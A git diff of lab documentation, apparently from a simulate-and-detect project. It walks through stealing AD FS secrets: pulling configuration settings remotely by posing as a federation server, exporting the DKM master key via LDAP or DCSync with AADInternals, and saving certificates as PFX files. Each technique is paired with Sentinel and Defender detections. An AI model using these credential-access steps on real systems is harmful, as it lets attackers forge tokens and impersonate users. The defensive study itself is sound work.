||||
4. Validate SQL Audit rule by running previous simulation steps either as the AD FS service account or local administrator:
|
||||
* [Get Database Connection String via WMI Class](#get-database-connection-string-via-wmi-class)
|
||||
* [Connect to database and run SQL statement to read configuration](#connect-to-database-and-run-sql-statement-to-read-configuration)
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_04_adfs_sql_event_sample.png)
|
||||
|
||||
### Azure Sentinel Hunting Queries
|
||||
|
||||
* [AD FS Database Local SQL Statements Rule](https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/SecurityEvent/ADFSDBLocalSqlStatements.yaml)
|
||||
|
||||
## Remote Variations
|
||||
|
||||
## AD FS Synchronization
|
||||
|
||||
### Preconditions
|
||||
* Endpoint: Workstation (WORKSTATION6)
|
||||
* Authorization: Domain Administrator
|
||||
* Libraries Installed: [AADInternals](https://github.com/Gerenios/AADInternals)
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Authorization: AD FS Service Account
|
||||
* Services Running: Active Directory Federation Services (ADFSSRV)
|
||||
* Network Ports Open: 80
|
||||
The AD FS configuration settings contains sensitive information such as the AD FS token signing certificate (encrypted format) which can be exported and decrypted to sign SAML tokens and impersonate users in a hybrid environment.
|
||||
|
||||
Based on [recent research](https://o365blog.com/post/adfs/) by [Dr. Nestori Syynimaa](https://twitter.com/DrAzureAD), a threat actor could use [AD FS synchronization (Replication services)](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-the-ad-fs-configuration-database#how-the-adfs-configuration-database-is-synchronized) and pretend to be a secondary federation server to retrieve the AD FS configuration settings remotely from the primary federation server.
|
||||
|
||||
|
@ -135,14 +12,38 @@ Legitimate secondary federation servers store a `read-only` copy of the AD FS co
|
|||
http://<AD FS Server Name>:80/adfs/services/policystoretransfer
|
||||
```
|
||||
|
||||
## Table of Contents
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
* [Variations](#variations)
|
||||
|
||||
## Preconditions
|
||||
* Integrity level: medium
|
||||
* Authorization:
|
||||
* Resource: AD FS Database
|
||||
* Identity:
|
||||
* AD FS Service Account
|
||||
* Local Administrator
|
||||
* AD FS Server
|
||||
* Services:
|
||||
* Active Directory Federation Services (ADFSSRV)
|
||||
* Network:
|
||||
* URL: `http://<adfs server name>:80/adfs/services/policystoretransfer`
|
||||
* Port: 80
|
||||
|
||||
## Simulation Steps
|
||||
|
||||
For this remote variation, we can use use [AADInternals](https://github.com/Gerenios/AADInternals) with the following information:
|
||||
* IP Address or FQDN of the AD FS server (ADFS01)
|
||||
* IP Address or FQDN of the AD FS server
|
||||
* NTHash of the AD FS service account
|
||||
* SID of the AD FS service account
|
||||
|
||||
### Log onto a domain joined workstation
|
||||
|
||||
1. Connect to one of the domain joined workstations in the network (WORKSTATION6) via the [Azure Bastion service](../../2_deploy/_helper_docs/connectAzVmAzBastion.md) as a [domain admin account](https://github.com/Azure/SimuLand/tree/main/2_deploy/aadHybridIdentityADFS#domain-users-information) (e.g. pgustavo).
|
||||
1. Connect to one of the domain joined workstations in the network via the [Azure Bastion service](../../2_deploy/_helper_docs/connectAzVmAzBastion.md) as a [domain admin account](https://github.com/Azure/SimuLand/tree/main/2_deploy/aadHybridIdentityADFS#domain-users-information) (e.g. pgustavo).
|
||||
|
||||
### Get Object GUID and SID of the AD FS Service Account
|
||||
|
||||
|
@ -167,7 +68,7 @@ $Object | Format-List
|
|||
4. On the same elevated PowerShell session, run the following commands to install [AADInternals](https://github.com/Gerenios/AADInternals) if it is not installed yet:
|
||||
|
||||
```PowerShell
|
||||
Install-Module –Name AADInternals –RequiredVersion 0.4.8 -Force
|
||||
Install-Module –Name AADInternals -Force
|
||||
Import-Module –Name AADInternals
|
||||
```
|
||||
|
||||
|
@ -197,7 +98,9 @@ $settings
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_07_get_adfs_settings_remotely.png)
|
||||
|
||||
## Detect AD FS Remote Synchronization Network Connection
|
||||
## Detection
|
||||
|
||||
### Detect AD FS Remote Synchronization Network Connection
|
||||
|
||||
The replication channel used to connect to the AD FS server is over `port 80`. Therefore, we can monitor for incoming network traffic to the AD FS server over HTTP with `Sysmon event id 3 (NetworkConnect)`. For an environment with only one server in the AD FS farm, it is rare to see incoming connections over standard HTTP port from workstations in the network.
|
||||
|
||||
|
@ -207,16 +110,16 @@ Another behavior that we could monitor is the `authorization check` enforced by
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_09_adfs_remote_connection_adfsauditing.png)
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
* [AD FS Remote HTTP Network Connection](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/ADFSRemoteHTTPNetworkConnection.yaml)
|
||||
* [AD FS Remote Auth Sync Connection](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/ADFSRemoteAuthSyncConnection.yaml)
|
||||
|
||||
## Detect Active Directory Replication Services
|
||||
### Detect Active Directory Replication Services
|
||||
|
||||
Even though the use of directory replication services (DRS) is not part of the core behavior to extract the AD FS configuration settings remotely, it is an additional step taken by tools such as [AADInternals](https://github.com/Gerenios/AADInternals) to get the NTHash of the AD FS user account to access the AD FS database remotely.
|
||||
|
||||
### Microsoft Defender for Identity Alerts
|
||||
#### Microsoft Defender for Identity Alerts
|
||||
|
||||
**Suspected DCSync attack (replication of directory services)**
|
||||
|
||||
|
@ -227,7 +130,7 @@ The Microsoft Defender for Identity (MDI) sensor, installed on the domain contro
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_10_m365_mdi_alert_dcsync.png)
|
||||
|
||||
### Microsoft Cloud Application Security Alerts
|
||||
#### Microsoft Cloud Application Security Alerts
|
||||
|
||||
**Suspected DCSync attack (replication of directory services)**
|
||||
|
||||
|
@ -239,10 +142,10 @@ You can also see the same alert in the Microsoft Cloud Application Security (MCA
|
|||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_11_m365_mcas_alert_dcsync.png)
|
||||
|
||||
## Output
|
||||
* AD FS Configuration Settings
|
||||
|
||||
Whether you export the AD FS configuration settings locally or remotey, you can use the variable `$settings` for the following steps:
|
||||
* [Extract AD FS Token Signing Certificate](extractADFSTokenSigningCertificate.md)
|
||||
* [Get the Path of the AD FS DKM Container](getADFSDKMContainerADPath.md).
|
||||
## Variations
|
||||
* [Export AD FS Configuration Settings Locally via Named Pipe](exportADFSConfigSettingsNamedPipe.md)
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -0,0 +1,155 @@
|
|||
# Export Active Directory Federation Services (AD FS) DKM Master Key from Domain Controller via Directory Replication Services (DRS)
|
||||
|
||||
Even though a threat actor might have been able to extract AD FS certificates from AD FS configuration settings, they still would need to be decrypted. AD FS certificates are encrypted using Distributed Key Manager (DKM) APIs and the DKM master key used to decrypt them is stored in the domain controller. When the primary AD FS farm is configured, the AD FS DKM container is created in the domain controller and the DKM master key is stored as an attribute of an AD contact object located inside of the container.
|
||||
|
||||
The path of the AD FS DKM container in the domain controller might vary, but it can be obtained from the `AD FS configuration settings`. After getting the AD path to the container, a threat actor can directly access the AD contact object and read the AD FS DKM master key value. One way to to indirectly access and retrieve the DKM master key can be via [Active Directory Replication services (DRS)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/06205d97-30da-4fdc-a276-3fd831b272e0#:~:text=The%20Directory%20Replication%20Service%20%28DRS%29%20Remote%20Protocol%20is,name%20of%20each%20dsaop%20method%20begins%20with%20%22IDL_DSA%22.) and retrieve the AD object. This approach bypasses detections that rely on audit rules monitoring for any direct access attempt to the AD object. However, this approach requires the user to have the right elevated privileges to perform directory replication actions in a domain.
|
||||
|
||||
## Table of Contens
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
* [Variations](#variations)
|
||||
|
||||
## Preconditions
|
||||
|
||||
* Integrity level: medium
|
||||
* Authorization:
|
||||
* Resource: AD FS Database
|
||||
* Identity:
|
||||
* AD FS Service Account
|
||||
* Local Administrator
|
||||
* Resource: AD FS DKM Container
|
||||
* Identity:
|
||||
* AD FS Service Account
|
||||
* AD Domain Administrator
|
||||
* Domain Controller:
|
||||
* Services:
|
||||
* Lightweight Directory Access Protocol (LDAP)
|
||||
* Network:
|
||||
* Port: 389
|
||||
* Input:
|
||||
* AD FS Configuration Settings
|
||||
|
||||
## Table of Contents
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
* [Variations](#variations)
|
||||
|
||||
## Preconditions
|
||||
* Integrity level: medium
|
||||
* Authorization:
|
||||
* Resource: Domain Controller
|
||||
* Identity:
|
||||
* AD Domain Administrator
|
||||
* Domain Controller
|
||||
* Services:
|
||||
* Active Directory Replication
|
||||
* Input:
|
||||
* AD FS Configuration Settings
|
||||
|
||||
## Simulation Steps
|
||||
|
||||
### Get Path of AD FS DKM container
|
||||
|
||||
The AD FS DKM key value is stored in the `ThumbnailPhoto` attribute of an AD contact object in the AD FS DKM container. Therefore, we first need to get the path of the AD FS DKM container in the AD domain controller. That information can be retrieved from the `AD FS configuration settings`.
|
||||
|
||||
```PowerShell
|
||||
[xml]$xml=$settings
|
||||
$group = $xml.ServiceSettingsData.PolicyStore.DkmSettings.Group
|
||||
$container = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
|
||||
$parent = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
|
||||
$base = "LDAP://CN=$group,$container,$parent"
|
||||
$base
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_13_get_ad_dkm_path.png)
|
||||
|
||||
### Retrieve AD Contact Object via Directory Replication Services
|
||||
|
||||
**Active Directory Replication Services with AADInternals**
|
||||
|
||||
1. Access a the domain-joined endpoint (`WORKSTATION6`) where you authenticated previously as a domain administrator to perform the [DCSync technique](https://attack.mitre.org/techniques/T1003/006/).
|
||||
2. Open PowerShell as Administrator
|
||||
3. Get the path of the AD FS DKM container and use it to obtain the `GUID` of the AD FS DKM contact object.
|
||||
|
||||
```PowerShell
|
||||
$ADSISearcher = [ADSISearcher]'(&(objectclass=contact)(!name=CryptoPolicy)(ThumbnailPhoto=*))'
|
||||
$ADSISearcher.SearchRoot = [ADSI]"$base"
|
||||
$results = $ADSISearcher.FindOne()
|
||||
$AdfsContactObjectGuid = ([guid]($results.Properties).objectguid[0]).guid
|
||||
$AdfsContactObjectGuid
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_24_remote_adfs_encryption_key_container_guid.png)
|
||||
|
||||
4. On the same elevated PowerShell session, run the following commands to install [AADInternals](https://github.com/Gerenios/AADInternals) if it is not installed yet:
|
||||
|
||||
```PowerShell
|
||||
Install-Module –Name AADInternals -Force
|
||||
Import-Module AADInternals
|
||||
```
|
||||
|
||||
5. Export the AD FS DKM master key value via directory replication services.
|
||||
|
||||
```PowerShell
|
||||
$ObjectGuid = '9736f74f-fd37-4b02-80e8-8120a72ad6c2'
|
||||
$DC = 'DC01.simulandlabs.com'
|
||||
$cred = Get-Credential
|
||||
$Key = Export-AADIntADFSEncryptionKey -Server $DC -Credentials $cred -ObjectGuid $ObjectGuid
|
||||
[System.BitConverter]::ToString([byte[]]$key)
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_25_remote_adfs_encryption_key.png)
|
||||
|
||||
## Detection
|
||||
|
||||
### Detect the use of Directory Replication Services to Retrieve AD Contact Object
|
||||
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
**Non-DC Active Directory Replication**
|
||||
|
||||
The following access rights/permissions are needed for the replication request according to the domain functional level:
|
||||
|
||||
| Control access right symbol | Identifying GUID used in ACE |
|
||||
| ------------------------------ | ---------------------------- |
|
||||
| DS-Replication-Get-Changes | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 |
|
||||
| DS-Replication-Get-Changes-All | 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 |
|
||||
| DS-Replication-Get-Changes-In-Filtered-Set | 89e95b76-444d-4c62-991a-0facbeda640c |
|
||||
|
||||
We can see those GUID values in the `Properties` values of Windows Security events with ID 4662.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-07-01_29_dcsync_4662_permissions.png)
|
||||
|
||||
We can also join the Windows Security event 4662 with 4624 on the LogonId value to add authentication context to the replication activity and get the `IP Address` of the workstation that performed the action.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-07-01_30_dcsync_4662_4624_correlation.png)
|
||||
|
||||
Use the following detection rule to explore this activity:
|
||||
|
||||
* [Non Domain Controller Active Directory Replication](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/NonDCActiveDirectoryReplication.yaml)
|
||||
|
||||
#### Microsoft Defender for Identity
|
||||
|
||||
**Suspected DCSync attack (replication of directory services)**
|
||||
|
||||
The Microsoft Defender for Identity sensor installed on the domain controller triggers an alert when this behavior occurs. MDI detects non-domain controllers using Directory Replication Services (DRS) to sync information from the domain controller. Something to keep an eye on is the number of replication requests in the alert information. It went up from 4 to 10. Remember that the same alert also shows up in MCAS.
|
||||
|
||||
1. Navigate to [Microsoft 365 Security Center](https://security.microsoft.com/).
|
||||
2. Go to `More Resources` and click on `Azure Advanced Threat Protection`.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_26_m365_mdi_alert_dcsync.png)
|
||||
|
||||
## Output
|
||||
* AD FS DKM Master Key
|
||||
|
||||
## Variations
|
||||
* [Export AD FS DKM Master Key from Domain Controller via LDAP Queries](exportADFSDKMMasterKeyLDAP.md)
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -1,37 +1,55 @@
|
|||
# Export Active Directory Federation Services (AD FS) DKM Master Key from Domain Controller
|
||||
# Export Active Directory Federation Services (AD FS) DKM Master Key from Domain Controller via LDAP Queries
|
||||
|
||||
AD FS certificates are encrypted using Distributed Key Manager (DKM) APIs and the DKM master key used to decrypt them is stored in the domain controller. When the primary AD FS farm is configured, the AD FS DKM container is created in the domain controller and the DKM master key is stored as an attribute of an AD contact object located inside of the container.
|
||||
Even though a threat actor might have been able to extract AD FS certificates from AD FS configuration settings, they still would need to be decrypted. AD FS certificates are encrypted using Distributed Key Manager (DKM) APIs and the DKM master key used to decrypt them is stored in the domain controller. When the primary AD FS farm is configured, the AD FS DKM container is created in the domain controller and the DKM master key is stored as an attribute of an AD contact object located inside of the container.
|
||||
|
||||
The path of the AD FS DKM container in the domain controller might vary, but it can be obtained from the `AD FS configuration settings`. After getting the AD path to the container, a threat actor can directly access the AD contact object and read the AD FS DKM master key value. In addition, one could use Active directory replication services (DRS) to indirectly access and retrieve/sync the AD contact object that holds the master key.
|
||||
The path of the AD FS DKM container in the domain controller might vary, but it can be obtained from the `AD FS configuration settings`. After getting the AD path to the container, a threat actor can directly access the AD contact object and read the AD FS DKM master key value. One way to access and retrieve the DKM master key can be via LDAP queries.
|
||||
|
||||
## Simulate & Detect
|
||||
## Table of Contents
|
||||
|
||||
**[Direct Access Variations](#direct-access-variations):**
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
* [Variations](#variations)
|
||||
|
||||
* [Access AD Contact Object via LDAP](#access-ad-contact-object-via-ldap)
|
||||
* [Detect LDAP Query with ThumbnailPhoto Property in Filter](#detect-ldap-query-with-thumbnailphoto-property-in-filter)
|
||||
* [Detect LDAP Query with Indirect Access to ThumbnailPhoto Property](#detect-ldap-query-with-indirect-access-to-thumbnailphoto-property)
|
||||
* [Detect Access to AD Object](#detect-access-to-ad-object)
|
||||
## Preconditions
|
||||
|
||||
**[Indirect Access Variations](#indirect-access-variations)**
|
||||
* Integrity level: medium
|
||||
* Authorization:
|
||||
* Resource: AD FS Database
|
||||
* Identity:
|
||||
* AD FS Service Account
|
||||
* Local Administrator
|
||||
* Resource: AD FS DKM Container
|
||||
* Identity:
|
||||
* AD FS Service Account
|
||||
* AD Domain Administrator
|
||||
* Domain Controller:
|
||||
* Services:
|
||||
* Lightweight Directory Access Protocol (LDAP)
|
||||
* Network:
|
||||
* Port: 389
|
||||
* Input:
|
||||
* AD FS Configuration Settings
|
||||
|
||||
* [Retrieve AD Contact Object via Directory Replication Services](#retrieve-ad-contact-object-via-directory-replication-services)
|
||||
* [Detect the use of Directory Replication Services to Retrieve AD Contact Object](#detect-the-use-of-directory-replication-services-to-retrieve-ad-contact-object)
|
||||
## Simulation Steps
|
||||
|
||||
## Direct Access Variations
|
||||
### Get Path of AD FS DKM container
|
||||
|
||||
## Access AD Contact Object via LDAP
|
||||
The AD FS DKM key value is stored in the `ThumbnailPhoto` attribute of an AD contact object in the AD FS DKM container. Therefore, we first need to get the path of the AD FS DKM container in the AD domain controller. That information can be retrieved from the `AD FS configuration settings`.
|
||||
|
||||
**Preconditions**
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* We can use the same PowerShell session on one of the endpoints where we [got the path of the AD FS DKM container](getADFSDKMContainerADPath.md) from to go through the simulation steps.
|
||||
* Authorization: AD FS service account
|
||||
* AD FS DKM container path:
|
||||
* Use the output from the step where we [got the path of the AD FS DKM container](getADFSDKMContainerADPath.md) and pass it to the PowerShell commands below as the variable `$base`.
|
||||
* Endpoint: Domain Controller (DC01_
|
||||
* Authorization: AD FS service account
|
||||
* Services Running: Lightweight Directory Access Protocol (LDAP)
|
||||
* Ports Open: 389
|
||||
```PowerShell
|
||||
[xml]$xml=$settings
|
||||
$group = $xml.ServiceSettingsData.PolicyStore.DkmSettings.Group
|
||||
$container = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
|
||||
$parent = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
|
||||
$base = "LDAP://CN=$group,$container,$parent"
|
||||
$base
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_13_get_ad_dkm_path.png)
|
||||
|
||||
### Query LDAP
|
||||
|
||||
We can use LDAP and create a query filtering on specific objects with the `ThumbnailPhoto` attribute. We can then read the encryption key from the `ThumbnailPhoto` attribute.
|
||||
|
||||
|
@ -62,9 +80,11 @@ $key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_15_ldap_filter_cryptopolicy.png)
|
||||
|
||||
## Detect LDAP Query with `ThumbnailPhoto` Property in Filter
|
||||
## Detection
|
||||
|
||||
### Microsoft Defender for Identity Alerts
|
||||
### Detect LDAP Query with `ThumbnailPhoto` Property in Filter
|
||||
|
||||
#### Microsoft Defender for Identity Alerts
|
||||
|
||||
**Active Directory attributes Reconnaissance using LDAP**
|
||||
|
||||
|
@ -75,7 +95,7 @@ When a threat actor sets the property `ThumbnailPhoto` as a filter in the LDAP s
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_16_m365_mdi_alert_local_ldap.png)
|
||||
|
||||
### Microsoft Cloud App Security Alerts
|
||||
#### Microsoft Cloud App Security Alerts
|
||||
|
||||
**Active Directory attributes Reconnaissance using LDAP**
|
||||
|
||||
|
@ -85,7 +105,7 @@ You can also see the same alert in the Microsoft Cloud Application Security (MCA
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_17_m365_mcas_alert_local_ldap.png)
|
||||
|
||||
### Microsoft Defender for Endpoint Alerts
|
||||
#### Microsoft Defender for Endpoint Alerts
|
||||
|
||||
**ADFS private key extraction attempt**
|
||||
|
||||
|
@ -96,7 +116,7 @@ Microsoft Defender for Endpoint sensors also trigger an alert named `ADFS privat
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_18_m365_mde_alert_local_ldap.png)
|
||||
|
||||
## Detect LDAP Query with Indirect Access to `ThumbnailPhoto` Property
|
||||
### Detect LDAP Query with Indirect Access to `ThumbnailPhoto` Property
|
||||
|
||||
### Microsoft Defender for Endpoint Alerts
|
||||
|
||||
|
@ -106,9 +126,9 @@ Microsoft Defender for Endpoint sensors also trigger an alert named `ADFS privat
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_19_m365_mde_alert_local_ldap_no_cryptopolicy.png)
|
||||
|
||||
## Detect Access to AD Object
|
||||
### Detect Access to AD Object
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
**AD FS DKM Master Key Export**
|
||||
|
||||
|
@ -166,91 +186,11 @@ Use the following detection rule to explore this activity:
|
|||
|
||||
* [ADFS DKM Master Key Export](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ADFS-DKM-MasterKey-Export.yaml)
|
||||
|
||||
## Indirect Access Variations
|
||||
|
||||
### Retrieve AD Contact Object via Directory Replication Services
|
||||
|
||||
**Preconditions**
|
||||
* Endpoint: Workstation (WORKSTATION6)
|
||||
* Authorization: Domain Administrator
|
||||
* Libraries Installed: [AADInternals](https://github.com/Gerenios/AADInternals)
|
||||
* AD FS DKM container path:
|
||||
* Use the output from the step where we [got the path of the AD FS DKM container](getADFSDKMContainerADPath.md) and pass it to the PowerShell commands below as the variable `$base`.
|
||||
* Endpoint: Domain Controller (DC01)
|
||||
* Authorization: Domain Administrator
|
||||
* Services Running: Active Directory Replication
|
||||
|
||||
**Active Directory Replication Services with AADInternals**
|
||||
|
||||
Rather than requesting direct access to the contact AD object containing the DKM key, a threat actor could simply leverage [Active Directory Replication services (DRS)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/06205d97-30da-4fdc-a276-3fd831b272e0#:~:text=The%20Directory%20Replication%20Service%20%28DRS%29%20Remote%20Protocol%20is,name%20of%20each%20dsaop%20method%20begins%20with%20%22IDL_DSA%22.) and retrieve the AD object. This approach bypasses detections that rely on audit rules monitoring for any direct access attempt to the AD object. However, this approach requires the user to have the right elevated privileges to perform directory replication actions in a domain.
|
||||
|
||||
1. Go back to the domain-joined endpoint (`WORKSTATION6`) where you authenticated previously as a domain administrator (`pgustavo`) to perform a DCSync technique.
|
||||
2. Open PowerShell as Administrator
|
||||
3. Get the path of the AD FS DKM container and use it to obtain the `GUID` of the AD FS DKM contact object.
|
||||
|
||||
```PowerShell
|
||||
$AdfsDKMPath = "LDAP://CN=596f0e13-7a4b-49a1-a106-0cbcba66b065,CN=ADFS,CN=Microsoft,CN=Program Data,DC=simulandlabs,DC=com"
|
||||
$ADSISearcher = [ADSISearcher]'(&(objectclass=contact)(!name=CryptoPolicy)(ThumbnailPhoto=*))'
|
||||
$ADSISearcher.SearchRoot = [ADSI]"$AdfsDKMPath"
|
||||
$results = $ADSISearcher.FindOne()
|
||||
$AdfsContactObjectGuid = ([guid]($results.Properties).objectguid[0]).guid
|
||||
$AdfsContactObjectGuid
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_24_remote_adfs_encryption_key_container_guid.png)
|
||||
|
||||
6. Export the AD FS DKM master key value via directory replication services.
|
||||
|
||||
```PowerShell
|
||||
$ObjectGuid = '9736f74f-fd37-4b02-80e8-8120a72ad6c2'
|
||||
$DC = 'DC01.simulandlabs.com'
|
||||
$cred = Get-Credential
|
||||
$Key = Export-AADIntADFSEncryptionKey -Server $DC -Credentials $cred -ObjectGuid $ObjectGuid
|
||||
[System.BitConverter]::ToString([byte[]]$key)
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_25_remote_adfs_encryption_key.png)
|
||||
|
||||
## Detect the use of Directory Replication Services to Retrieve AD Contact Object
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
|
||||
**Non-DC Active Directory Replication**
|
||||
|
||||
The following access rights/permissions are needed for the replication request according to the domain functional level:
|
||||
|
||||
| Control access right symbol | Identifying GUID used in ACE |
|
||||
| ------------------------------ | ---------------------------- |
|
||||
| DS-Replication-Get-Changes | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 |
|
||||
| DS-Replication-Get-Changes-All | 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 |
|
||||
| DS-Replication-Get-Changes-In-Filtered-Set | 89e95b76-444d-4c62-991a-0facbeda640c |
|
||||
|
||||
We can see those GUID values in the `Properties` values of Windows Security events with ID 4662.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-07-01_29_dcsync_4662_permissions.png)
|
||||
|
||||
We can also join the Windows Security event 4662 with 4624 on the LogonId value to add authentication context to the replication activity and get the `IP Address` of the workstation that performed the action.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-07-01_30_dcsync_4662_4624_correlation.png)
|
||||
|
||||
Use the following detection rule to explore this activity:
|
||||
|
||||
* [Non Domain Controller Active Directory Replication](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/NonDCActiveDirectoryReplication.yaml)
|
||||
|
||||
### Microsoft Defender for Identity
|
||||
|
||||
**Suspected DCSync attack (replication of directory services)**
|
||||
|
||||
The Microsoft Defender for Identity sensor installed on the domain controller triggers an alert when this behavior occurs. MDI detects non-domain controllers using Directory Replication Services (DRS) to sync information from the domain controller. Something to keep an eye on is the number of replication requests in the alert information. It went up from 4 to 10. Remember that the same alert also shows up in MCAS.
|
||||
|
||||
1. Navigate to [Microsoft 365 Security Center](https://security.microsoft.com/).
|
||||
2. Go to `More Resources` and click on `Azure Advanced Threat Protection`.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_26_m365_mdi_alert_dcsync.png)
|
||||
|
||||
## Output
|
||||
* AD FS DKM Master Key
|
||||
|
||||
Use the variable `$key` in the next step to decrypt AD FS certificates.
|
||||
## Variations
|
||||
* [Export AD FS DKM Master Key from Domain Controller via Directory Replication Services (DRS)](exportADFSDKMMasterKeyDRS.md)
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -1,25 +0,0 @@
|
|||
# Export Active Directory Federation Services (AD FS) Encryption Certificate as PFX File
|
||||
|
||||
After [decrypting the AD FS encryption certificate](decryptADFSEncryptionCertificate.md), you can export the cipher text to a .pfx file. Remember that this step is also performed outside of the organization. Therefore, there are not detection rules for it.
|
||||
|
||||
## Preconditions
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session on one of the endpoints where we [decrypted the AD FS encryption certificate](decryptADFSEncryptionCertificate.md) and exported the `cipher text` to a variable.
|
||||
* [AD FS encryption certificate (cipher text)](decryptADFSEncryptionCertificate.md)
|
||||
* Use the output cipher text saved in the variable `$encryptionPfx` in the PowerShell commands below.
|
||||
|
||||
## Export AD FS Encryption Certificate
|
||||
|
||||
```PowerShell
|
||||
$CertificatePath = 'C:\ProgramData\ADFSEncryptionCertificate.pfx'
|
||||
$encryptionPfx | Set-Content $CertificatePath -Encoding Byte
|
||||
|
||||
Get-item $CertificatePath
|
||||
```
|
||||
|
||||
## Output
|
||||
|
||||
The certificate in the following location: `C:\ProgramData\ADFSEncryptionCertificate.pfx`
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -1,27 +0,0 @@
|
|||
# Export Active Directory Federation Services (AD FS) Token Signing Certificate as PFX File
|
||||
|
||||
After [decrypting the AD FS token signing certificate](decryptADFSTokenSigningCertificate.md), you can export the cipher text to a .pfx file. Remember that this step is also performed outside of the organization. Therefore, there are not detection rules for it.
|
||||
|
||||
## Preconditions
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session on one of the endpoints where we [decrypted the AD FS token signing certificate](decryptADFSTokenSigningCertificate.md) and exported the `cipher text` to a variable.
|
||||
* [AD FS token signing certificate (cipher text)](decryptADFSTokenSigningCertificate.md)
|
||||
* Use the output cipher text saved in the variable `$tokenSigningPfx` in the PowerShell commands below.
|
||||
|
||||
## Export AD FS Token Signing Certificate
|
||||
|
||||
```PowerShell
|
||||
$CertificatePath = 'C:\ProgramData\ADFSTokenSigningCertificate.pfx'
|
||||
$tokenSigningPfx | Set-Content $CertificatePath -Encoding Byte
|
||||
|
||||
Get-item $CertificatePath
|
||||
```
|
||||
|
||||
